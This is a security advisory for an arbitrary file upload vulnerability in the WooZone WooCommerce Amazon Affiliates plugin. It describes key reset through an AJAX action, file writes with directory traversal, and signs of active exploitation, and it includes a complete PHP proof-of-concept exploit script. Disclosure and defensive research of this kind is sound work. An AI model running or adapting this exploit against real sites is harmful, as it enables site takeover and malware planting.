WooZone - WooCommerce Amazon Affiliates [Arbitrary File Upload]

This vulnerability exploits the lack of security checks when performing actions through WooZoneRemoteSupportRequest AJAX action, in order to perform an Arbitrary File Upload attack.

Description

An attacker can then use the WooZoneRemoteSupportRequest AJAX action to set the key to whatever value he likes. But in order to do that he must be either authenticated or use an CSRF attack. Since this plugin is installed along with WooCommerce and Woo allows user registration, this attack should be applicable on all sites this plugin is installed, though it might be a little hard to create a fully automated script.

Then an attacker can use the woozone/modules/remote_support/remote_init.php file to upload a file (action save_file):

Vulnerable params are $_REQUEST['file'] and $_REQUEST['file_content'] which express the file name and the file contents respectively. Note that the specified file name must point to an existing file. Directory traversal is also applicable in $_REQUEST['file'] param.

In polestar it seems like we have like 300 attacks in ~ 170 hosts that use the save_file to upload malware. They all use the same key e8ada846316050f8d3d323e46e42666c and even though they might be some false positives, in general I think it makes stronger suggestion that this vulnerability is actively exploited.

PoC

The source files were provided by Brad from a hacked website. It seems like remote_support module is missing config.php file. Without it the module won’t load and this attack will fail. The contents of config.php file should look like this:

<?php
echo json_encode(
	array(
		'remote_support' => array(
			'version' => '1.0',
			'menu' => array(
				'order' => 20,
				'show_in_menu' => true,
				'title' => 'Remote support',
				'icon' => 'images/16.png'
			),
			/*'in_dashboard' => array(
				'icon' 	=> 'images/32.png',
				'url'	=> admin_url("admin.php?page=WooZone_remote_support")
			),*/
			'help' => array(
				'type' => 'remote',
				'url' => 'http://docs.aa-team.com/woocommerce-amazon-affiliates/documentation/price_select/'
			),
			'description' => "....",
			'module_init' => 'init.php',
			'load_in' => array(
                'backend' => array(
                    'admin.php?page=WooZone_remote_support',
                    'admin-ajax.php'
                ),
                'frontend' => false
			),
			'javascript' => array(
				'admin',
				'hashchange',
				'tipsy',
				'thickbox'
			),
			'css' => array(
				'admin',
				'tipsy'
			)
		)
	)
);

Actual exploit:

#!/usr/bin/env php
<?php
/*******************************************************************************
 * WooZone - WooCommerce Amazon Affiliates [Arbitrary File Upload]
 *
 * Exploit Author: Panagiotis Vagenas <pan.vagenas@gmail.com>
 * To install deps run `composer install`
 ******************************************************************************/

require_once 'vendor/autoload.php';

use Wordfence\ExKit\Cli;
use Wordfence\ExKit\Config;
use Wordfence\ExKit\Endpoint;
use Wordfence\ExKit\ExitCodes;
use Wordfence\ExKit\Session;
use Wordfence\ExKit\WPAuthentication;

Config::get('url.base', null, true, 'Enter the site URL')
|| ExitCodes::exitWithFailedPrecondition('You must enter a valid URL');

$s = new Session();
$s->XDebugOn();

Cli::writeInfo('Authenticating...');
WPAuthentication::logInAsUserRole($s, WPAuthentication::USER_ROLE_SUBSCRIBER);

/*******************************************************************************
 * First an authenticated user will use the `WooZoneRemoteSupportRequest` to
 * update authentication key
 ******************************************************************************/

Cli::writeInfo('Updaing connection key...');
$connectionKey = uniqid();
$postData = [
    'action' => 'WooZoneRemoteSupportRequest',
    'sub_actions' => 'access_details',
    'params' => 'WooZone-allow_file_remote=yes&WooZone-key=' . urlencode($connectionKey),
];

$r = $s->post(Endpoint::adminAjaxURL(), [], $postData);

$rJson = @json_decode($r->body);

if(!$r->success || !$rJson || !isset($rJson->status) || $rJson->status != 'valid'){
    ExitCodes::exitWithFailed('Failed to update connection key');
}

/*******************************************************************************
 * We updated the connection key, update a file
 ******************************************************************************/
Cli::writeInfo('Sending code to file `remote_init.php`...');
$identifier = uniqid();
$postData = [
    'file_content' => base64_encode('<?php echo "'.$identifier.'";'),
    'file' => 'remote_init.php',
    'action' => 'save_file',
    'connection_key' => $connectionKey,
];

$r = $s->post(Endpoint::pluginsURL().'/woozone/modules/remote_support/remote_tunnel.php', [], $postData);

/*******************************************************************************
 * Verify successful exploitation
 ******************************************************************************/
Cli::writeInfo('Verifying exploit...');
$url = Endpoint::pluginsURL().'/woozone/modules/remote_support/remote_init.php';
$r = $s->get($url);

if(!$r->success || $r->body != $identifier){
    ExitCodes::exitWithFailed('Failed to verify exploit');
}

Cli::writeSuccess('Sucessfuly verified exploit');

INFO
GKxtL3WcoJHtnKZtqTuuqPOiMvOwqKWco3AcqUxX